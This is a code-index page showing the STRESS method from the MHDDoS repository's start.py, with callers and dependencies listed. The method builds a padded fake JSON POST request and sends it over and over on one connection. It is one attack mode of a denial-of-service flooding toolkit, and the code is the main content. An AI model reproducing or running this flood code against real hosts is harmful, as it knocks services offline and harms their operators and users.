MCPcopy Index your code
hub / github.com/MatrixTM/MHDDoS / STRESS

Method STRESS

start.py:994–1004  ·  view source on GitHub ↗
(self)

Source from the content-addressed store, hash-verified

992 Tools.safe_close(s)
993
994 def STRESS(self) -> None:
995 payload: bytes = self.generate_payload(
996 ("Content-Length: 524\r\n"
997 "X-Requested-With: XMLHttpRequest\r\n"
998 "Content-Type: application/json\r\n\r\n"
999 '{"data": %s}') % ProxyTools.Random.rand_str(512))[:-2]
1000 s = None
1001 with suppress(Exception), self.open_connection() as s:
1002 for _ in range(self._rpc):
1003 Tools.send(s, payload)
1004 Tools.safe_close(s)
1005
1006 def COOKIES(self) -> None:
1007 payload: bytes = self.generate_payload(

Callers

nothing calls this directly

Calls 4

generate_payloadMethod · 0.95
open_connectionMethod · 0.95
sendMethod · 0.80
safe_closeMethod · 0.80

Tested by

no test coverage detected